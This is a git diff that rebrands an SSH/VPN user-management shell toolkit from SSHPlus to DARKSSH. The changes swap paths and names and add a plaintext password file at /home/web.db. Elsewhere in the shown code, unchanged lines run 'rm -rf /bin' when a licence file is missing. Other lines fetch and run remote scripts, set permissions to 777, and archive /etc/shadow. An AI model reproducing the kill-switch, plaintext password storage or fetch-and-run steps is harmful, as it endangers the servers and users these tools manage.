/etc/SSHPlus/senha/$nome +echo "$pass" > /etc/DARKssh/senha/$nome echo "$nome $limit" >> /root/usuarios.db +echo "$nome $limit $pass $u_temp test" >> /home/web.db echo "#!/bin/bash pkill -f "$nome" userdel --force $nome grep -v ^$nome[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db -rm /etc/SSHPlus/senha/$nome > /dev/null 2>&1 -rm -rf /etc/SSHPlus/userteste/$nome.sh -exit" > /etc/SSHPlus/userteste/$nome.sh -chmod +x /etc/SSHPlus/userteste/$nome.sh -at -f /etc/SSHPlus/userteste/$nome.sh now + $u_temp min > /dev/null 2>&1 +rm /etc/DARKssh/senha/$nome > /dev/null 2>&1 +rm -rf /etc/DARKssh/userteste/$nome.sh +exit" > /etc/DARKssh/userteste/$nome.sh +chmod +x /etc/DARKssh/userteste/$nome.sh +at -f /etc/DARKssh/userteste/$nome.sh now + $u_temp min > /dev/null 2>&1 clear echo -e "\E[44;1;37m Test User Created \E[0m" echo "" diff --git a/Modulos/criarusuario b/Modulos/criarusuario index 2a486ab..40edd6c 100644 --- a/Modulos/criarusuario +++ b/Modulos/criarusuario @@ -44,7 +44,7 @@ fun_geraovpn() { rmt=$(sed -n '7 p' /etc/openvpn/client-common.txt) hedr=$(sed -n '8 p' /etc/openvpn/client-common.txt) prxy=$(sed -n '9 p' /etc/openvpn/client-common.txt) - rmt2='/SSHPLUS?' + rmt2='/DARKSSH?' payload1='#payload "HTTP/1.1 [lf]CONNECT HTTP/1.1[lf][lf]|[lf]."' payload2='#payload "CONNECT 127.0.0.1:1194[split][crlf] HTTP/1.0 [crlf][crlf]#"' oi="d1n212ccp6ldpw.cloudfront.net" @@ -208,7 +208,7 @@ fun_edithost() { fun_edithost fi } -[[ ! -e /usr/lib/sshplus ]] && exit 0 +[[ ! -e /usr/lib/darkssh ]] && exit 0 tput setaf 7;tput setab 4;tput bold;printf '%30s%s%-15s\n' "Create SSH User";tput sgr0 echo "" echo "====================================================" @@ -287,8 +287,9 @@ final=$(date "+%Y-%m-%d" -d "+$dias days") gui=$(date "+%d/%m/%Y" -d "+$dias days") pass=$(perl -e 'print crypt($ARGV[0], "password")' $password) useradd -e $final -M -s /bin/false -p $pass $username >/dev/null 2>&1 & -echo "$password" >/etc/SSHPlus/senha/$username +echo "$password" >/etc/DARKssh/senha/$username echo "$username $sshlimiter" >>/root/usuarios.db +echo "$username $sshlimiter $password $gui" >>/home/web.db [[ -e /etc/openvpn/server.conf ]] && { echo -ne "\033[1;32mGenerate Ovpn File \033[1;31m? \033[1;33m[s/n]:\033[1;37m "; read resp [[ "$resp" = @(s|S) ]] && { diff --git a/Modulos/delscript b/Modulos/delscript index 1dcb16f..52f97a8 100644 --- a/Modulos/delscript +++ b/Modulos/delscript @@ -11,7 +11,7 @@ if [[ "$resp" = s || "$resp" = S ]];then apt-get purge dropbear -y > /dev/null 2>&1 apt-get purge apache2 -y > /dev/null 2>&1 rm /bin/criarusuario /bin/expcleaner /bin/sshlimiter /bin/addhost /bin/listar /bin/sshmonitor /bin/ajuda /bin/menu /bin/OpenVPN /bin/userbackup /bin/tcpspeed /bin/badvpn /bin/otimizar /bin/speedtest /bin/trafego /bin/banner /bin/limit /bin/limite /bin/senharoot /bin/reiniciarservicos /bin/reiniciarsistema /bin/attscript /bin/criarteste /bin/socks /bin/DropBear /bin/alterarlimite /bin/alterarsenha /bin/remover /bin/detalhes /bin/mudardata /bin/botssh /bin/infousers /bin/droplimiter /bin/conexao /bin/versao > /dev/null 2>&1 - rm -rf /etc/SSHPlus > /dev/null 2>&1 + rm -rf /etc/DARKssh > /dev/null 2>&1 clear echo -e "\033[1;36mThank you for using DARKSSH-MANAGER\033[1;33m" sleep 2 diff --git a/Modulos/detalhes b/Modulos/detalhes index 1df208e..d82a15a 100644 --- a/Modulos/detalhes +++ b/Modulos/detalhes @@ -65,7 +65,7 @@ echo -e "\033[1;32mMEMORIA RAM\033[0m" echo "" echo "Unable to get information" fi -[[ ! -e /bin/versao ]] && rm -rf /etc/SSHPlus +[[ ! -e /bin/versao ]] && rm -rf /etc/DARKssh echo -e "\033[1;31m• \033[1;32mSERVICES IN PERFORMANCE\033[1;31m •\033[0m" echo "" PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") diff --git a/Modulos/expcleaner b/Modulos/expcleaner index c4bfc4f..ac67fdc 100644 --- a/Modulos/expcleaner +++ b/Modulos/expcleaner @@ -33,10 +33,11 @@ for user in $(awk -F: '{print $1}' /etc/passwd); do pkill -f $user userdel --force $user grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db + grep -v ^$user[[:space:]] /home/web.db > /tmp/ph ; cat /tmp/ph > /home/web.db if [[ -e /etc/openvpn/server.conf ]]; then remove_ovp $user fi done -echo '0' > /etc/SSHPlus/Exp +echo '0' > /etc/DARKssh/Exp tput sgr0 echo "" diff --git a/Modulos/infousers b/Modulos/infousers index 46e9d68..6fdebf1 100644 --- a/Modulos/infousers +++ b/Modulos/infousers @@ -10,8 +10,8 @@ if [[ $(grep -cw $users $HOME/usuarios.db) == "1" ]]; then else lim="1" fi -if [[ -e "/etc/SSHPlus/senha/$users" ]]; then - senha=$(cat /etc/SSHPlus/senha/$users) +if [[ -e "/etc/DARKssh/senha/$users" ]]; then + senha=$(cat /etc/DARKssh/senha/$users) else senha="Null" fi @@ -40,7 +40,7 @@ done echo "" _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) diff --git a/Modulos/instsqd b/Modulos/instsqd index d01521f..b76ca20 100644 --- a/Modulos/instsqd +++ b/Modulos/instsqd @@ -1,7 +1,7 @@ #!/bin/bash clear op=$1 -[[ ! -d /usr/share/.plus ]] && exit 0 +[[ ! -d /usr/share/.dark ]] && exit 0 fun_sqd01() { [[ -e /etc/apt/sources.list.d/trusty_sources.list ]] && { rm /etc/apt/sources.list.d/trusty_sources.list >/dev/null 2>&1 diff --git a/Modulos/limiter b/Modulos/limiter index 594faf4..421aae0 100644 --- a/Modulos/limiter +++ b/Modulos/limiter @@ -1,9 +1,9 @@ #!/bin/bash #==================================================== -# SCRIPT: LIMITER SSHPLUS MANAGER +# SCRIPT: LIMITER DARKSSH MANAGER # DESENVOLVIDO POR: CRAZY_VPN # CONTATO TELEGRAM: http://t.me/crazy_vpn -# CANAL TELEGRAM: http://t.me/sshplus +# CANAL TELEGRAM: http://t.me/darkssh #==================================================== clear database="/root/usuarios.db" diff --git a/Modulos/menu b/Modulos/menu index 5276cd7..c65b563 100644 --- a/Modulos/menu +++ b/Modulos/menu @@ -4,7 +4,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -36,7 +36,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu +[[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu ${comando[0]} > /dev/null 2>&1 ${comando[1]} > /dev/null 2>&1 touch $HOME/fim @@ -147,7 +147,7 @@ function autoexec () { } #menu2 menu2 (){ -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -163,7 +163,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -278,7 +278,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) diff --git a/Modulos/open.py b/Modulos/open.py index 9482c96..3f217cb 100644 --- a/Modulos/open.py +++ b/Modulos/open.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # encoding: utf-8 -# SSHPLUS By @Crazy_vpn +# DARKSSH By @Crazy_vpn import socket, threading, thread, select, signal, sys, time from os import system system("clear") diff --git a/Modulos/otimizar b/Modulos/otimizar index 019898b..d135144 100644 --- a/Modulos/otimizar +++ b/Modulos/otimizar @@ -1,9 +1,9 @@ #!/bin/bash #=================================================== -# SCRIPT: OTIMIZAR SSHPLUS MANAGER +# SCRIPT: OTIMIZAR DARKSSH MANAGER # DESENVOLVIDO POR: CRAZY_VPN # CONTATO TELEGRAM: http://t.me/crazy_vpn -# CANAL TELEGRAM: http://t.me/sshplus +# CANAL TELEGRAM: http://t.me/darkssh #=================================================== fun_bar() { comando[0]="$1" diff --git a/Modulos/proxy.py b/Modulos/proxy.py index f4e8202..a5bdca1 100644 --- a/Modulos/proxy.py +++ b/Modulos/proxy.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # encoding: utf-8 -# SSHPLUS By @Crazy_vpn +# DARKSSH By @Crazy_vpn import socket, threading, thread, select, signal, sys, time from os import system system("clear") diff --git a/Modulos/remover b/Modulos/remover index 60ad64a..6741a42 100644 --- a/Modulos/remover +++ b/Modulos/remover @@ -16,7 +16,7 @@ chown nobody:$GROUPNAME /etc/openvpn/crl.pem [[ -e $HOME/$user.ovpn ]] && rm $HOME/$user.ovpn > /dev/null 2>&1 [[ -e /var/www/html/openvpn/$user.zip ]] && rm /var/www/html/openvpn/$user.zip > /dev/null 2>&1 } > /dev/null 2>&1 -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/ > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/ > /dev/null 2>&1 database="/root/usuarios.db" clear tput setaf 7 ; tput setab 4 ; tput bold ; printf '%32s%s%-13s\n' "Remove SSH User" ; tput sgr0 @@ -59,7 +59,8 @@ else deluser --force $user > /dev/null 2>&1 echo -e "\E[41;1;37m User $user successfully removed! \E[0m" grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db - rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null + grep -v ^$user[[:space:]] /home/web.db > /tmp/ph ; cat /tmp/ph > /home/web.db + rm /etc/DARKssh/senha/$user 1>/dev/null 2>/dev/null if [[ -e /etc/openvpn/server.conf ]]; then remove_ovp $user fi @@ -71,7 +72,8 @@ else echo "" echo -e "\E[41;1;37m User $user successfully removed! \E[0m" grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db - rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null + grep -v ^$user[[:space:]] /home/web.db > /tmp/ph ; cat /tmp/ph > /home/web.db + rm /etc/DARKssh/senha/$user 1>/dev/null 2>/dev/null if [[ -e /etc/openvpn/server.conf ]]; then remove_ovp $user fi @@ -83,7 +85,8 @@ else deluser --force $user > /dev/null 2>&1 echo -e "\E[41;1;37m User $usersuccessfully removed! \E[0m" grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db - rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null + grep -v ^$user[[:space:]] /home/web.db > /tmp/ph ; cat /tmp/ph > /home/web.db + rm /etc/DARKssh/senha/$user 1>/dev/null 2>/dev/null if [[ -e /etc/openvpn/server.conf ]]; then remove_ovp $user fi diff --git a/Modulos/slow_dns b/Modulos/slow_dns index fc4c2a1..13e594e 100644 --- a/Modulos/slow_dns +++ b/Modulos/slow_dns @@ -10,7 +10,7 @@ GREEN='\033[1;32m' YELLOW='\033[1;33m' CYAN='\033[1;36m' CORTITLE='\033[1;41m' -DIR='/etc/SSHPlus/dns' +DIR='/etc/DARKssh/dns' SCOLOR='\033[0m' configdns() { @@ -22,7 +22,7 @@ configdns() { ip6tables -t nat -I PREROUTING -i $interface -p udp --dport 53 -j REDIRECT --to-ports 5300 } -echo -e "${CORTITLE} SSHPLUS SLOWDNS (Beta) ${SCOLOR}" +echo -e "${CORTITLE} DARKSSH SLOWDNS (Beta) ${SCOLOR}" installslowdns() { echo -e "\n${YELLOW}ESTEJA CIENTE QUE ESSE METODO AINDA\nESTA NA FASE BETA E QUE ALEM DE SER\nLENTO PODE NAO FUNCIONAR PERFEITAMENTE ! ${SCOLOR}\n" echo -ne "${GREEN}DESEJA CONTINUAR A INSTALACAO ? ${YELLOW}[s/n]:${SCOLOR} " @@ -32,8 +32,8 @@ installslowdns() { sleep 2 conexao } - mkdir /etc/SSHPlus/dns >/dev/null 2>&1 - wget -P $DIR sshplus.net/scripts/slow-dns/dns-server >/dev/null 2>&1 + mkdir /etc/DARKssh/dns >/dev/null 2>&1 + wget -P $DIR darkssh.net/scripts/slow-dns/dns-server >/dev/null 2>&1 chmod 777 $DIR/dns-server >/dev/null 2>&1 $DIR/dns-server -gen-key -privkey-file $DIR/server.key -pubkey-file $DIR/server.pub >/dev/null 2>&1 configdns >/dev/null 2>&1 @@ -51,7 +51,7 @@ initslow() { screen -r -S "slow_dns" -X quit >/dev/null 2>&1 screen -wipe >/dev/null 2>&1 sed -i '/5300/d' /etc/autostart >/dev/null 2>&1 - sed -i '/slow_dns/d' /etc/SSHPlus/dns/autodns >/dev/null 2>&1 + sed -i '/slow_dns/d' /etc/DARKssh/dns/autodns >/dev/null 2>&1 echo -e "\n${RED}SLOWDNS DESATIVADO !${SCOLOR}" sleep 2 conexao @@ -59,16 +59,16 @@ initslow() { screen -r -S "slow_dns" -X quit >/dev/null 2>&1 screen -wipe >/dev/null 2>&1 sed -i '/5300/d' /etc/autostart >/dev/null 2>&1 - rm -rf /etc/SSHPlus/dns >/dev/null 2>&1 + rm -rf /etc/DARKssh/dns >/dev/null 2>&1 echo -e "\n${RED}SLOWDNS REMOVIDO !${SCOLOR}" sleep 2 conexao elif [[ "$op" == '3' ]]; then [[ -e $DIR/server.pub ]] && keypub=$(cat $DIR/server.pub) || keypub='Null' - [[ -e $DIR/autodns ]] && nameserver=$(grep -w 'server.key' /etc/SSHPlus/dns/autodns | awk -F' ' '{print $9}') || nameserver='Null' - tmx='curl -sO https://sshplus.net/scripts/slowdns && chmod +x slowdns && ./slowdns' + [[ -e $DIR/autodns ]] && nameserver=$(grep -w 'server.key' /etc/DARKssh/dns/autodns | awk -F' ' '{print $9}') || nameserver='Null' + tmx='curl -sO https://darkssh.net/scripts/slowdns && chmod +x slowdns && ./slowdns' clear - echo -e "${CORTITLE} SSHPLUS SLOWDNS (Beta) ${SCOLOR}" + echo -e "${CORTITLE} DARKSSH SLOWDNS (Beta) ${SCOLOR}" echo -e "\n${YELLOW}NAMESERVER(NS)${SCOLOR}: $nameserver" echo -e "${YELLOW}CHAVE PUBLICA${SCOLOR}: $keypub" echo -e "\n${GREEN}COMANDO TERMUX${SCOLOR}: ${tmx} ${nameserver} ${keypub}" @@ -85,7 +85,7 @@ initslow() { fi } || { clear - echo -e "${CORTITLE} SSHPLUS SLOWDNS (Beta) ${SCOLOR}" + echo -e "${CORTITLE} DARKSSH SLOWDNS (Beta) ${SCOLOR}" echo -ne "\n${GREEN}INFORME O DOMINIO NS${SCOLOR}: " read ns [[ -z "$ns" ]] && { @@ -144,10 +144,10 @@ initslow() { configdns > /dev/null 2>&1 iptables-save > /etc/iptables/rules.v4 } - echo "screen -dmS slow_dns $DIR/dns-server -udp :5300 -privkey-file $DIR/server.key ${ns} 0.0.0.0:${ptdns}" >/etc/SSHPlus/dns/autodns - chmod 777 /etc/SSHPlus/dns/autodns >/dev/null 2>&1 - echo "ss -lu|grep -w '5300' || /etc/SSHPlus/dns/autodns" >>/etc/autostart - tmx='curl -sO https://sshplus.net/scripts/slowdns && chmod +x slowdns && ./slowdns' + echo "screen -dmS slow_dns $DIR/dns-server -udp :5300 -privkey-file $DIR/server.key ${ns} 0.0.0.0:${ptdns}" >/etc/DARKssh/dns/autodns + chmod 777 /etc/DARKssh/dns/autodns >/dev/null 2>&1 + echo "ss -lu|grep -w '5300' || /etc/DARKssh/dns/autodns" >>/etc/autostart + tmx='curl -sO https://darkssh.net/scripts/slowdns && chmod +x slowdns && ./slowdns' echo -e "\n${GREEN}SLOWDNS ATIVADO !${SCOLOR}" echo -e "\n${YELLOW}COMANDO TERMUX${SCOLOR}: ${tmx} ${ns} ${keypub}" echo -ne "\n${RED}ENTER${YELLOW} para retornar ao${GREEN} MENU!${SCOLOR}" diff --git a/Modulos/uexpired b/Modulos/uexpired index b63e698..960bd2b 100644 --- a/Modulos/uexpired +++ b/Modulos/uexpired @@ -7,7 +7,7 @@ for _user in $(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody); do fi [[ userexp == [0-9] ]] && userexp=0$userexp done -echo "$userexp" > /etc/SSHPlus/Exp +echo "$userexp" > /etc/DARKssh/Exp ) & } fun_exp > /dev/null 2>&1 \ No newline at end of file diff --git a/Modulos/userbackup b/Modulos/userbackup index 42bef0f..d616a47 100644 --- a/Modulos/userbackup +++ b/Modulos/userbackup @@ -75,7 +75,7 @@ backbot=$1 then rm -rf $HOME/backup.vps > /dev/null 2>&1 sleep 1 - tar cvf /root/backup.vps /root/usuarios.db /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/SSHPlus/senha > /dev/null 2>&1 + tar cvf /root/backup.vps /root/usuarios.db /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/DARKssh/senha > /dev/null 2>&1 echo "" echo -e "\033[1;32mBACKUP CRIADO COM SUCESSO !\033[0m" echo "" @@ -104,7 +104,7 @@ backbot=$1 echo "" echo -e "\033[1;32mCriando backup...\033[0m" echo "" - tar cvf /root/backup.vps /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/SSHPlus/senha > /dev/null 2>&1 + tar cvf /root/backup.vps /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/DARKssh/senha > /dev/null 2>&1 sleep 2s echo "" echo -e "\033[1;33mO Arquivo \033[1;32mbackup.vps" @@ -140,7 +140,7 @@ backbot=$1 fi } || { rm /root/backup.vps 1>/dev/null 2>/dev/null - tar cvf /root/backup.vps /root/usuarios.db /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/bot /etc/SSHPlus/senha > /dev/null 2>&1 - [[ -d "/etc/SSHPlus/backups" ]] && mv /root/backup.vps /etc/SSHPlus/backups/backup.vps + tar cvf /root/backup.vps /root/usuarios.db /etc/shadow /etc/passwd /etc/group /etc/gshadow /etc/bot /etc/DARKssh/senha > /dev/null 2>&1 + [[ -d "/etc/DARKssh/backups" ]] && mv /root/backup.vps /etc/DARKssh/backups/backup.vps exit } diff --git a/Modulos/verifbot b/Modulos/verifbot index 9bcdc7d..9bf6bfc 100644 --- a/Modulos/verifbot +++ b/Modulos/verifbot @@ -1,5 +1,5 @@ #!/bin/bash -[[ ! -d /etc/SSHPlus ]] && exit 0 +[[ ! -d /etc/DARKssh ]] && exit 0 [[ ! -d /etc/bot/revenda ]] && exit 0 [[ "$(ls /etc/bot/revenda| wc -l)" == '0' ]] && exit 0 for arq in $(ls /etc/bot/revenda); do diff --git a/README.md b/README.md index 2a126aa..e3239b9 100644 --- a/README.md +++ b/README.md @@ -56,7 +56,7 @@ gets $100 in credit over 60 days sudo -s ``` ``` -apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Plus; chmod 777 Plus; ./Plus +apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Dark; chmod 777 Dark; ./Dark ``` @@ -118,7 +118,7 @@ SCRIPT DARKSSH MANAGER යනු සුදුසු අංග සහ මෙව # 😍 Credits -1. @crazy_vpn - Developer of SSHPlus Manager +1. @crazy_vpn - Developer of DARKssh Manager # 🏃‍contact me